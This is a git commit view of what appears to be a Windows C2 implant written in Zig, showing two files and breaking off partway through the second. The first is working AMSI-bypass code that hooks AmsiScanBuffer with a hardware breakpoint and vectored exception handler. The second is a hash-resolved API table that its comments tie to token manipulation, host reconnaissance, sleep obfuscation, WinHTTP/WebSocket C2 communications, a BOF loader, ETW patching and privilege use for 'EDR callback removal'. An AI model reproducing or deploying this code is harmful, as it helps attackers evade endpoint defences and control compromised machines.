update readme

This commit is contained in:
2026-07-07 04:37:29 +01:00
commit 50cbc601d5
69 changed files with 15056 additions and 0 deletions
+51
View File
@@ -0,0 +1,51 @@
// 4. AMSI bypass — hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
// 1. g_veh_handle — VEH registration handle, g_amsi_scan_addr — cached AmsiScanBuffer address.
// 2. amsi_veh_handler — SINGLE_STEP → RAX=0 (AMSI_RESULT_CLEAN), skip the function body.
// 3. patch_amsi — LoadLibraryW("amsi.dll") → GetProcAddress → AddVectoredExceptionHandler →
// SuspendThread → SetThreadContext(DR0=scan_addr, DR7=1) → ResumeThread.
// Suspend/Resume pair is required because SetThreadContext while running can race.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null;
// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
{
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
ex.ContextRecord.Rsp += 8; // pop return address
return win.EXCEPTION_CONTINUE_EXECUTION;
}
return win.EXCEPTION_CONTINUE_SEARCH;
}
pub fn patch_amsi() void {
if (g_veh_handle != null) return;
api.ensure();
const load_w = api.amsi_load_library_w orelse return;
const get_addr = api.amsi_get_proc_address orelse return;
const veh = api.amsi_add_vectored_exception_handler orelse return;
const cur_thread = api.amsi_get_current_thread orelse return;
const set_ctx = api.amsi_set_thread_context orelse return;
const suspend_thread = api.amsi_suspend_thread orelse return;
const resume_thread = api.amsi_resume_thread orelse return;
const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
if (amsi == null) return;
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
if (g_amsi_scan_addr == null) return;
g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
ctx.Dr7 = (1 << 0); // enable DR0 locally
_ = suspend_thread(thread);
_ = set_ctx(thread, &ctx);
_ = resume_thread(thread);
}
+551
View File
@@ -0,0 +1,551 @@
// Central function-pointer type definitions + global pointer table. Zero static imports —
// everything resolved at runtime by ensure() via resolve.zig.
// 1. Re-exports — hash_ror13, resolve_api, get_module_by_hash, get_func_by_hash, NT_SUCCESS.
// 2. Type aliases (2a-2g): exec, info, fiber, sleep, comms, bof, crypto Win32 API signatures.
// 3. Type aliases (2h): amsi/etw/hwbp — VEH, thread context, module resolution.
// 4. Type aliases (2i): privilege escalation — LookupPrivilegeValueW, AdjustTokenPrivileges.
// 5. Global vars (2a-2i): one ?T_* pointer per API, all initially null.
// 6. ensure() — walk kernel32→ntdll→winhttp→advapi32→bcrypt, resolve every pointer.
// Falls back to LoadLibrary if a module isn't already loaded.
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
pub const hash_ror13 = resolve.hash_ror13;
pub const resolve_api = resolve.resolve_api;
pub const get_module_by_hash = resolve.get_module_by_hash;
pub const get_func_by_hash = resolve.get_func_by_hash;
pub const NT_SUCCESS = win.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
// 2a. exec.zig — process creation, pipes, token manipulation
pub const T_exec_CreatePipe = *const fn (hReadPipe: win.PHANDLE, hWritePipe: win.PHANDLE, lpPipeAttributes: *win.SECURITY_ATTRIBUTES, nSize: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessA = *const fn (lpApplicationName: ?win.LPCSTR, lpCommandLine: win.LPSTR, lpProcessAttributes: ?*win.SECURITY_ATTRIBUTES, lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, bInheritHandles: win.BOOL, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_ReadFile = *const fn (hFile: win.HANDLE, lpBuffer: ?win.LPVOID, nNumberOfBytesToRead: win.DWORD, lpNumberOfBytesRead: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_WaitForSingleObject = *const fn (hHandle: win.HANDLE, dwMilliseconds: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetExitCodeProcess = *const fn (hProcess: win.HANDLE, lpExitCode: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_GetLastError = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetModuleFileNameA = *const fn (hModule: ?win.HMODULE, lpFilename: win.LPSTR, nSize: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_exec_ExitProcess = *const fn (uExitCode: win.UINT) callconv(win.WINAPI) void;
pub const T_exec_InitializeProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque, dwAttributeCount: win.DWORD, dwFlags: win.DWORD, lpSize: *win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_UpdateProcThreadAttribute = *const fn (lpAttributeList: ?*anyopaque, dwFlags: win.DWORD, Attribute: win.DWORD_PTR, lpValue: ?*anyopaque, cbSize: win.SIZE_T, lpPreviousValue: ?*anyopaque, lpReturnSize: ?*win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DeleteProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque) callconv(win.WINAPI) void;
pub const T_exec_CreateFileA = *const fn (lpFileName: win.LPCSTR, dwDesiredAccess: win.DWORD, dwShareMode: win.DWORD, lpSecurityAttributes: ?*win.SECURITY_ATTRIBUTES, dwCreationDisposition: win.DWORD, dwFlagsAndAttributes: win.DWORD, hTemplateFile: ?win.HANDLE) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_WriteFile = *const fn (hFile: win.HANDLE, lpBuffer: win.LPCVOID, nNumberOfBytesToWrite: win.DWORD, lpNumberOfBytesWritten: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_OpenProcessToken = *const fn (ProcessHandle: win.HANDLE, DesiredAccess: win.DWORD, TokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DuplicateTokenEx = *const fn (ExistingTokenHandle: win.HANDLE, dwDesiredAccess: win.DWORD, lpTokenAttributes: ?*win.SECURITY_ATTRIBUTES, ImpersonationLevel: win.SECURITY_IMPERSONATION_LEVEL, TokenType: win.TOKEN_TYPE, DuplicateTokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessWithTokenW = *const fn (hToken: win.HANDLE, dwLogonFlags: win.DWORD, lpApplicationName: ?win.LPCWSTR, lpCommandLine: win.LPWSTR, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCWSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreatePseudoConsole = *const fn (size: win.COORD, hInput: win.HANDLE, hOutput: win.HANDLE, dwFlags: win.DWORD, phPC: *win.HANDLE) callconv(win.WINAPI) win.HRESULT;
pub const T_exec_ClosePseudoConsole = *const fn (hPC: win.HANDLE) callconv(win.WINAPI) void;
pub const T_exec_CreateThread = *const fn (lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, dwStackSize: win.SIZE_T, lpStartAddress: *const fn (?*anyopaque) callconv(win.WINAPI) win.DWORD, lpParameter: ?*anyopaque, dwCreationFlags: win.DWORD, lpThreadId: *win.DWORD) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_InitializeCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_EnterCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_LeaveCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_DeleteCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
// 2b. info.zig — host identification, system version, time
pub const T_info_GetComputerNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetUserNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetSystemInfo = *const fn (lpSystemInfo: *win.SYSTEM_INFO) callconv(win.WINAPI) void;
pub const T_info_GetCurrentProcessId = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_info_RtlGetVersion = *const fn (lpVersionInformation: *win.RTL_OSVERSIONINFOW) callconv(win.WINAPI) win.NTSTATUS;
pub const T_info_GetSystemTime = *const fn (lpSystemTime: *win.SYSTEMTIME) callconv(win.WINAPI) void;
// 2c. fiber.zig — fiber API for Ekko-style sleep (unhooked timers)
pub const T_fiber_ConvertThreadToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_CreateFiber = *const fn (win.SIZE_T, *const fn (?*anyopaque) callconv(win.WINAPI) void, ?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;
// 2d. RC4 sleep obfuscation — SystemFunction032, VirtualQuery, VirtualProtect
pub const USTRING = extern struct {
Length: win.ULONG,
MaximumLength: win.ULONG,
Buffer: [*]u8,
};
pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS;
pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T;
pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL;
// 2e. comms.zig — WinHTTP + WebSocket C2 comms
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpConnect = *const fn (hSession: win.HINTERNET, pswzServerName: win.LPCWSTR, nServerPort: win.INTERNET_PORT, dwReserved: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpOpenRequest = *const fn (hConnect: win.HINTERNET, pwszVerb: win.LPCWSTR, pwszObjectName: win.LPCWSTR, pwszVersion: ?win.LPCWSTR, pwszReferrer: ?win.LPCWSTR, ppwszAcceptTypes: ?[*]win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpSetOption = *const fn (hInternet: win.HINTERNET, dwOption: win.DWORD, lpBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpSendRequest = *const fn (hRequest: win.HINTERNET, lpszHeaders: ?win.LPCWSTR, dwHeadersLength: win.DWORD, lpOptional: ?win.LPVOID, dwOptionalLength: win.DWORD, dwTotalLength: win.DWORD, dwContext: win.DWORD_PTR) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReceiveResponse = *const fn (hRequest: win.HINTERNET, lpReserved: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReadData = *const fn (hRequest: win.HINTERNET, lpBuffer: ?win.LPVOID, dwNumberOfBytesToRead: win.DWORD, lpdwNumberOfBytesRead: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpCloseHandle = *const fn (hInternet: win.HINTERNET) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpAddRequestHeaders = *const fn (hRequest: win.HINTERNET, lpszHeaders: win.LPCWSTR, dwHeadersLength: win.DWORD, dwModifiers: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpQueryDataAvailable = *const fn (hRequest: win.HINTERNET, lpdwNumberOfBytesAvailable: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpWebSocketCompleteUpgrade = *const fn (hRequest: win.HINTERNET, phWebSocket: *win.HINTERNET) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketSend = *const fn (hWebSocket: win.HINTERNET, eBufferType: win.WINHTTP_WEB_SOCKET_BUFFER_TYPE, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketReceive = *const fn (hWebSocket: win.HINTERNET, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD, pdwBytesRead: win.PDWORD, peBufferType: *win.WINHTTP_WEB_SOCKET_BUFFER_TYPE) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketClose = *const fn (hWebSocket: win.HINTERNET) callconv(win.WINAPI) win.DWORD;
// 2f. bof.zig — Beacon Object File loader (COFF->memory->execute)
pub const T_bof_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_GetProcAddress = *const fn (hModule: ?win.HMODULE, lpProcName: win.LPCSTR) callconv(win.WINAPI) ?win.FARPROC;
pub const T_bof_GetModuleHandleA = *const fn (lpModuleName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_VirtualAlloc = *const fn (lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) ?win.LPVOID;
pub const T_bof_VirtualFree = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, dwFreeType: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_bof_VirtualProtect = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
// 2g. crypto.zig — BCrypt ECDH key exchange + AES-GCM encrypt/decrypt
pub const T_crypto_BCryptOpenAlgorithmProvider = *const fn (phAlgorithm: *win.BCRYPT_ALG_HANDLE, pszAlgId: win.LPCWSTR, pszImplementation: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptCloseAlgorithmProvider = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSetProperty = *const fn (hObject: win.BCRYPT_ALG_HANDLE, pszProperty: win.LPCWSTR, pbInput: [*]u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateSymmetricKey = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, pbKeyObject: ?[*]u8, cbKeyObject: win.ULONG, pbSecret: [*]const u8, cbSecret: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroyKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptEncrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDecrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenRandom = *const fn (hAlgorithm: ?win.BCRYPT_ALG_HANDLE, pbBuffer: [*]u8, cbBuffer: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, dwLength: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptFinalizeKeyPair = *const fn (hKey: win.BCRYPT_KEY_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptExportKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE, hExportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptImportKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, hImportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, phKey: *win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSecretAgreement = *const fn (hPrivKey: win.BCRYPT_KEY_HANDLE, hPubKey: win.BCRYPT_KEY_HANDLE, phAgreedSecret: *win.BCRYPT_SECRET_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDeriveKey = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE, pwszKDF: ?*const anyopaque, pParameterList: ?*anyopaque, pbDerivedKey: ?[*]u8, cbDerivedKey: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroySecret = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE;
pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL;
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_etw_GetModuleHandleW = *const fn (lpModuleName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
// ====================================================================
// Global function-pointer variables — populated by ensure() below
// ====================================================================
// 2a. exec.zig
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
pub var exec_read_file: ?T_exec_ReadFile = null;
pub var exec_wait_for_single_object: ?T_exec_WaitForSingleObject = null;
pub var exec_get_exit_code_process: ?T_exec_GetExitCodeProcess = null;
pub var exec_get_last_error: ?T_exec_GetLastError = null;
pub var exec_get_module_file_name_a: ?T_exec_GetModuleFileNameA = null;
pub var exec_exit_process: ?T_exec_ExitProcess = null;
pub var exec_initialize_proc_thread_attribute_list: ?T_exec_InitializeProcThreadAttributeList = null;
pub var exec_update_proc_thread_attribute: ?T_exec_UpdateProcThreadAttribute = null;
pub var exec_delete_proc_thread_attribute_list: ?T_exec_DeleteProcThreadAttributeList = null;
pub var exec_create_file_a: ?T_exec_CreateFileA = null;
pub var exec_write_file: ?T_exec_WriteFile = null;
pub var exec_open_process_token: ?T_exec_OpenProcessToken = null;
pub var exec_duplicate_token_ex: ?T_exec_DuplicateTokenEx = null;
pub var exec_create_process_with_token_w: ?T_exec_CreateProcessWithTokenW = null;
pub var exec_create_pseudo_console: ?T_exec_CreatePseudoConsole = null;
pub var exec_close_pseudo_console: ?T_exec_ClosePseudoConsole = null;
pub var exec_create_thread: ?T_exec_CreateThread = null;
pub var exec_initialize_critical_section: ?T_exec_InitializeCriticalSection = null;
pub var exec_enter_critical_section: ?T_exec_EnterCriticalSection = null;
pub var exec_leave_critical_section: ?T_exec_LeaveCriticalSection = null;
pub var exec_delete_critical_section: ?T_exec_DeleteCriticalSection = null;
// 2b. info.zig
pub var info_get_computer_name_a: ?T_info_GetComputerNameA = null;
pub var info_get_user_name_a: ?T_info_GetUserNameA = null;
pub var info_get_system_info: ?T_info_GetSystemInfo = null;
pub var info_get_current_process_id: ?T_info_GetCurrentProcessId = null;
pub var info_rtl_get_version: ?T_info_RtlGetVersion = null;
pub var info_get_system_time: ?T_info_GetSystemTime = null;
// 2c. fiber.zig
pub var fiber_ConvertThreadToFiber: ?T_fiber_ConvertThreadToFiber = null;
pub var fiber_CreateFiber: ?T_fiber_CreateFiber = null;
pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;
// 2d. sleep.zig
pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null;
pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null;
pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null;
// 2e. comms.zig
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
pub var comms_winhttp_connect: ?T_comms_WinHttpConnect = null;
pub var comms_winhttp_open_request: ?T_comms_WinHttpOpenRequest = null;
pub var comms_winhttp_set_option: ?T_comms_WinHttpSetOption = null;
pub var comms_winhttp_send_request: ?T_comms_WinHttpSendRequest = null;
pub var comms_winhttp_receive_response: ?T_comms_WinHttpReceiveResponse = null;
pub var comms_winhttp_read_data: ?T_comms_WinHttpReadData = null;
pub var comms_winhttp_close_handle: ?T_comms_WinHttpCloseHandle = null;
pub var comms_winhttp_add_request_headers: ?T_comms_WinHttpAddRequestHeaders = null;
pub var comms_winhttp_query_data_available: ?T_comms_WinHttpQueryDataAvailable = null;
pub var comms_winhttp_websocket_complete_upgrade: ?T_comms_WinHttpWebSocketCompleteUpgrade = null;
pub var comms_winhttp_websocket_send: ?T_comms_WinHttpWebSocketSend = null;
pub var comms_winhttp_websocket_receive: ?T_comms_WinHttpWebSocketReceive = null;
pub var comms_winhttp_websocket_close: ?T_comms_WinHttpWebSocketClose = null;
// 2f. bof.zig
pub var bof_load_library_a: ?T_bof_LoadLibraryA = null;
pub var bof_get_proc_address: ?T_bof_GetProcAddress = null;
pub var bof_get_module_handle_a: ?T_bof_GetModuleHandleA = null;
pub var bof_virtual_alloc: ?T_bof_VirtualAlloc = null;
pub var bof_virtual_free: ?T_bof_VirtualFree = null;
pub var bof_virtual_protect: ?T_bof_VirtualProtect = null;
// 2g. crypto.zig
pub var crypto_bcrypt_open: ?T_crypto_BCryptOpenAlgorithmProvider = null;
pub var crypto_bcrypt_close: ?T_crypto_BCryptCloseAlgorithmProvider = null;
pub var crypto_bcrypt_set_prop: ?T_crypto_BCryptSetProperty = null;
pub var crypto_bcrypt_gen_key: ?T_crypto_BCryptGenerateSymmetricKey = null;
pub var crypto_bcrypt_destroy_key: ?T_crypto_BCryptDestroyKey = null;
pub var crypto_bcrypt_encrypt: ?T_crypto_BCryptEncrypt = null;
pub var crypto_bcrypt_decrypt: ?T_crypto_BCryptDecrypt = null;
pub var crypto_bcrypt_gen_random: ?T_crypto_BCryptGenRandom = null;
pub var crypto_bcrypt_gen_key_pair: ?T_crypto_BCryptGenerateKeyPair = null;
pub var crypto_bcrypt_finalize_key_pair: ?T_crypto_BCryptFinalizeKeyPair = null;
pub var crypto_bcrypt_export_key: ?T_crypto_BCryptExportKey = null;
pub var crypto_bcrypt_import_key_pair: ?T_crypto_BCryptImportKeyPair = null;
pub var crypto_bcrypt_secret_agreement: ?T_crypto_BCryptSecretAgreement = null;
pub var crypto_bcrypt_derive_key: ?T_crypto_BCryptDeriveKey = null;
pub var crypto_bcrypt_destroy_secret: ?T_crypto_BCryptDestroySecret = null;
// 2h. AMSI/ETW/HWBP evasion pointers — VEH, thread context, module resolution
pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
pub var amsi_get_current_thread: ?T_amsi_GetCurrentThread = null;
pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null;
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;
// HWBP reuses AMSI's VEH/thread APIs — same AddVectoredExceptionHandler under the hood
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
// 2i. privilege escalation — SeDebugPrivilege for EDR callback removal
pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL;
pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;
pub var priv_lookup_privilege_value_w: ?T_priv_LookupPrivilegeValueW = null;
pub var priv_adjust_token_privileges: ?T_priv_AdjustTokenPrivileges = null;
pub var priv_get_current_process: ?T_priv_GetCurrentProcess = null;
var g_ensure_done: bool = false;
pub fn ensure() void {
if (g_ensure_done) return;
g_ensure_done = true;
const k32_hash = hash_ror13("kernel32.dll");
const ntdll_hash = hash_ror13("ntdll.dll");
const winhttp_hash = hash_ror13("winhttp.dll");
const bcrypt_hash = hash_ror13("bcrypt.dll");
// 2j. kernel32.dll — all exec/info/fiber/sleep/bof/amsi/etw resolution
if (exec_create_pipe == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePipe"))) |p| {
exec_create_pipe = @ptrCast(p);
}
}
if (exec_create_process_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessA"))) |p| {
exec_create_process_a = @ptrCast(p);
}
}
if (exec_read_file == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ReadFile"))) |p| {
exec_read_file = @ptrCast(p);
}
}
if (exec_wait_for_single_object == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("WaitForSingleObject"))) |p| {
exec_wait_for_single_object = @ptrCast(p);
}
}
if (exec_get_exit_code_process == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetExitCodeProcess"))) |p| {
exec_get_exit_code_process = @ptrCast(p);
}
}
if (exec_get_last_error == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetLastError"))) |p| {
exec_get_last_error = @ptrCast(p);
}
}
if (exec_get_module_file_name_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleFileNameA"))) |p| {
exec_get_module_file_name_a = @ptrCast(p);
}
}
if (exec_exit_process == null) {
